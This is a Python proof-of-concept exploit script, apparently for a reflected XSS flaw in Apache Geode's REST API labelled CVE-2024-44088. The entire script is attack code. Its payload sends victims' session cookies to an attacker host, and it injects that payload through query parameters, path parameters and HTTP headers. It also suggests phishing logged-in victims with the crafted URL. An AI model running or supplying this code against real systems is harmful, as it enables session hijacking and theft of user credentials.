CVE-2024-44088

# CVE-2024-44088 - Apache Geode web-api XSS PoC # Description: Reflected XSS via Apache Geode REST API parameters # Affected: Apache Geode < 1.15.2 import requests TARGET_URL = "http://target-geode-host:7070/geode/v1" # Malicious JavaScript payload to steal session cookies XSS_PAYLOAD = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" # Example 1: Inject via query parameter (reflected XSS) def exploit_query_param(): """Exploit reflected XSS via REST API query parameters""" # The vulnerable endpoint reflects user input without sanitization malicious_url = f"{TARGET_URL}/queries?query={XSS_PAYLOAD}" print(f"[*] Malicious URL: {malicious_url}") print("[*] Send this URL to a logged-in victim via phishing email/IM") # When victim clicks, the response page executes the injected script response = requests.get(malicious_url) if XSS_PAYLOAD in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") return malicious_url # Example 2: Inject via URL path parameter def exploit_path_param(): """Exploit XSS via REST API path parameters""" malicious_url = f"{TARGET_URL}/regions/{XSS_PAYLOAD}" print(f"[*] Path-based XSS URL: {malicious_url}") return malicious_url # Example 3: Inject via custom header def exploit_header(): """Exploit XSS via HTTP headers reflected in error pages""" headers = { "X-Forwarded-For": XSS_PAYLOAD, "User-Agent": XSS_PAYLOAD } response = requests.get(f"{TARGET_URL}/", headers=headers) if XSS_PAYLOAD in response.text: print("[+] Header-based XSS confirmed - VULNERABLE!") if __name__ == "__main__": print("=" * 60) print("CVE-2024-44088 - Apache Geode REST API XSS Exploit") print("=" * 60) exploit_query_param() exploit_path_param() exploit_header()

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